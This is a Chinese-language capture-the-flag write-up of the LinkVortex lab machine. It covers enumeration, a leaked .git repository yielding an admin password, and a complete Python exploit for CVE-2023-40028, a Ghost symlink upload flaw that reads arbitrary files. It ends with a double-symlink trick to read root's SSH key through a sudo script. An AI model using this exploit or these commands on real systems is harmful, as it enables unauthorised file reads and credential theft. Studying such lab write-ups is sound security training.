本文最后更新于 2025年4月15日 凌晨
git 泄露,由 symlinks 导致的任意文件读取漏洞
枚举 nmap 端口扫描 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 └─# nmap -sS -sV -A -Pn 10.10.11.47 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-13 19:34 CST Nmap scan report for 10.10.11.47 Host is up (0.36s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA) |_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519) 80/tcp open http Apache httpd |_http-title: Did not follow redirect to http://linkvortex.htb/ |_http-server-header: Apache No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.94SVN%E=4%D=4/13%OT=22%CT=1%CU=33150%PV=Y%DS=3%DC=T%G=Y%TM=67FB OS:A18A%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=10D%TI=Z%CI=Z%TS=A)SEQ(S OS:P=108%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53AST11NW7%O2=M53AST11NW OS:7%O3=M53ANNT11NW7%O4=M53AST11NW7%O5=M53AST11NW7%O6=M53AST11)WIN(W1=FE88% OS:W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53AN OS:NSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R= OS:Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=A OS:R%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=4 OS:0%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID= OS:G%RIPCK=G%RUCK=F845%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 3 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 554/tcp) HOP RTT ADDRESS 1 0.40 ms butt3rf1y.mshome.net (172.30.144.1) 2 404.35 ms 10.10.16.1 3 258.09 ms 10.10.11.47 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done : 1 IP address (1 host up) scanned in 41.82 seconds
开放了 80 和 22 端口
访问 80 端口 80 端口除了得出使用了 Ghost
框架和有一个 admin
用户就没什么有用的信息了
dirsearch 目录扫描 只有一个 robots.txt
访问 /robots.txt
发现还有几个路由
只有 /ghost
路由才能访问上,得到了一个登录界面,但是没登录邮箱和密码
gobuster 子域名扫描 目前来说没什么有用的信息,所以来对子域名进行枚举
1 gobuster vhost -u http://linkvortex.htb -w /usr/share/wordlists/amass/subdomains-top1mil-110000.txt --append-domain
有一个 dev.linkvortex.htb
子域名
访问发现依然没有什么东西
再次对子域名目录进行扫描,发现了 .git
路由
访问得到了很多文件,应该有 .git
泄露
git 泄露 用 git-dumper 把仓库 dump 到本地
1 git-dumper http://dev.linkvortex.htb/.git ./
用 git status
查看仓库的状态
查看最近更新的 /ghost/core/test/regression/api/admin
下的 authentication.test.js
文件,在其中发现了一些形如下图的 email 和 password
1 2 3 4 5 6 7 8 it ('complete setup' , async function ( ) { const email = 'test@example.com' ; const password = 'OctopiFociPilfer45' ; const requestMock = nock ('https://api.github.com' ) .get ('/repos/tryghost/dawn/zipball' ) .query (true ) .replyWithFile (200 , fixtureManager.getPathForFixture ('themes/valid.zip' ));
去 linkvortex.htb/ghost/#/signin
尝试登录,有很多个 email 和 passwd 都登不进去
前面在网页中发现有 admin 账户,构造 admin@linkvortex.htb
邮箱,最后用下面的用户名和密码登录进去了
1 admin@linkvortex .htb :OctopiFociPilfer45
进入后台 登陆进去后通过 Wappalyzer 可以发现当前 Ghost
的版本是 5.58,找到了相关 CVE:CVE-2023-40028 , 5.59.1 之前的版本允许经过身份验证的用户上传符号链接文件(symlinks),导致任意文件读取操作
根据漏洞写 POC 脚本 poc for CVE-2023-40028
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 import osimport randomimport sysimport stringimport getoptfrom pathlib import Pathdef usage (): print (f"Usage: {sys.argv[0 ]} --url <http://example.com> -u <username> -p <password>" )def generate_random_name (length=13 ): return '' .join(random.choices(string.ascii_letters + string.digits, k=length))def generate_exploit (file_to_read, payload_path, image_name ): image_dir = payload_path / "content/images/2024" image_dir.mkdir(parents=True , exist_ok=True ) symlinks_path = image_dir / f"{image_name} .png" os.system(f"ln -s {file_to_read} {symlinks_path} " ) os.system(f"zip -r -y {payload_path} ./exp/ &>/dev/null" )def clean (payload_path, image_name ): os.system(f"rm -f {payload_path} /content/images/2024/{image_name} .png" ) os.system(f"rm -f {payload_path} .zip" ) os.system(f"rm -rf {payload_path} " )def main (): try : opts, _ = getopt.getopt(sys.argv[1 :], "u:p:" , ["url=" ]) except getopt.GetoptError: print (f"Usage: {sys.argv[0 ]} --url <http://example.com> -u <username> -p <password>" ) sys.exit(1 ) Ghost_Url = username = password = None for opt, arg in opts: if opt == "-u" : username = arg elif opt == "-p" : password = arg elif opt == "--url" : Ghost_Url = arg.rstrip("/" ) if not (Ghost_Url and username and password): print ("Necessary parameters are missing,maybe url or username or password..." ) sys.exit(1 ) Ghost_API = f'{Ghost_Url} /ghost/api/v3/admin/' payload_path = Path(__file__).parent / "exp" payload_path.mkdir(exist_ok=True , parents=True ) os.system( f"curl -c cookie.txt -d username={username} -d password={password} -H \"Origin: {Ghost_Url} \" -H \"Accept-Version: v3.0\" {Ghost_API} session/ > /dev/null 2>&1" ) if os.system("grep -q ghost-admin-api-session cookie.txt" ) != 0 : print ("Invalid username or password" ) os.system(f"rm -f cookie.txt" ) sys.exit(1 ) while True : file_to_read = input ("file> " ).strip() if file_to_read.lower() == "exit" : break if " " in file_to_read or not file_to_read: print ("please enter a valid file path:" ) continue if not file_to_read: continue image_name = generate_random_name() generate_exploit(file_to_read, payload_path, image_name) upload_path = os.popen( f'curl -s -b cookie.txt ' f'-H "X-Ghost-Version: 5.58" ' f'-H "Referer: {Ghost_Url} /ghost/" ' f'-H "Origin: {Ghost_Url} " ' f'-F "importfile=@./exp.zip;type=application/zip" ' f'"{Ghost_Url} /ghost/api/v3/admin/db"' ).read() if "error" in upload_path.lower(): print (f"upload failed: {upload_path} !!!" ) else : print (f"upload successful!!!" ) file_url = f"{Ghost_Url} /content/images/2024/{image_name} .png" print (f"requesting {file_url} " ) response = os.popen(f"curl -b cookie.txt -s {file_url} " ).read() if "Not Found" in response: print (f"file {file_url} not found" ) else : print (f"Received!" ) print (response) clean(payload_path, image_name)if __name__ == "__main__" : main()
1 python3 exp.py --url http://linkvortex.htb/ -u admin@linkvortex.htb -p OctopiFociPilfer45
能够成功读取 /etc/passwd
下的文件,但是其中并没有什么有用的用户
当访问 dump 下来仓库中的 Dockerfile.ghost
文件时发现
当前目录下的 config.production.json
文件复制到镜像内部的 /var/lib/ghost/
目录下
来读取一下 /var/lib/ghost/config.production.json
文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 { "url": "http://localhost:2368" , "server": { "port": 2368 , "host": "::" }, "mail": { "transport": "Direct" }, "logging": { "transports": ["stdout" ] }, "process": "systemd" , "paths": { "contentPath": "/var/lib/ghost/content" }, "spam": { "user_login": { "minWait": 1 , "maxWait": 604800000 , "freeRetries": 5000 } }, "mail": { "transport": "SMTP" , "options": { "service": "Google" , "host": "linkvortex.htb" , "port": 587 , "auth": { "user": "bob@linkvortex.htb" , "pass": "fibber-talented-worth" } } } }
得到用户名和密码
1 bob@linkvortex .htb :fibber-talented-worth
ssh 连接拿到 userflag
权限提升 sudo -l 查看可 sudo 执行的文件 用 sudo -l
发现可以执行 /opt/ghost/
目录下的 clean_symlink.sh
文件
1 2 3 4 5 6 bob@linkvortex:~$ sudo -l Matching Defaults entries for bob on linkvortex: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT User bob may run the following commands on linkvortex: (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
那么切入点应该就在这个文件上面,查看文件内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #!/bin/bash QUAR_DIR="/var/quarantined" if [ -z $CHECK_CONTENT ];then CHECK_CONTENT=false fi LINK=$1 if ! [[ "$LINK " =~ \.png$ ]]; then /usr/bin/echo "! First argument must be a png file !" exit 2fi if /usr/bin/sudo /usr/bin/test -L $LINK ;then LINK_NAME=$(/usr/bin/basename $LINK ) LINK_TARGET=$(/usr/bin/readlink $LINK ) if /usr/bin/echo "$LINK_TARGET " | /usr/bin/grep -Eq '(etc|root)' ;then /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !" /usr/bin/unlink $LINK else /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine" /usr/bin/mv $LINK $QUAR_DIR / if $CHECK_CONTENT ;then /usr/bin/echo "Content:" /usr/bin/cat $QUAR_DIR /$LINK_NAME 2>/dev/null fi fi fi
检测传入的 .png
文件是否为符号链接,如果符号链接指向 /etc
或者 /root
目录就直接删除,不是的话就移动到 /var/quarantined
目录,当 $CHECK_CONTENT= True
时会执行 cat
命令显示读取的文件内容
双层符号链接绕过检测 如果直接链接 /root
下的文件肯定会被检测到,绕过方法就是双层符号链接,将 /root
下的文件链接到其他文件夹下的文件,然后再链接为 .png
文件得以读取,因此我们在现在的目录下创建一个文件去链接 /root/.ssh/id_rsa
文件,然后用 ssh 私钥去登录 root 账户
1 2 3 ln -s /root/.ssh/id_rsa rsa.txtln -s /home/bob/rsa.txt rsa.pngsudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/rsa.png
将得到的私钥保存为 id_rsa
给 600 的权限登录
成功进入 root 账户